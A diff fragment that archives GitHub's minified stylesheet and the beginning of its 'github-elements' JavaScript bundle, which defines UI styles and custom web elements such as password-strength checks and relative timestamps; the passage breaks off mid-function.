.avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var 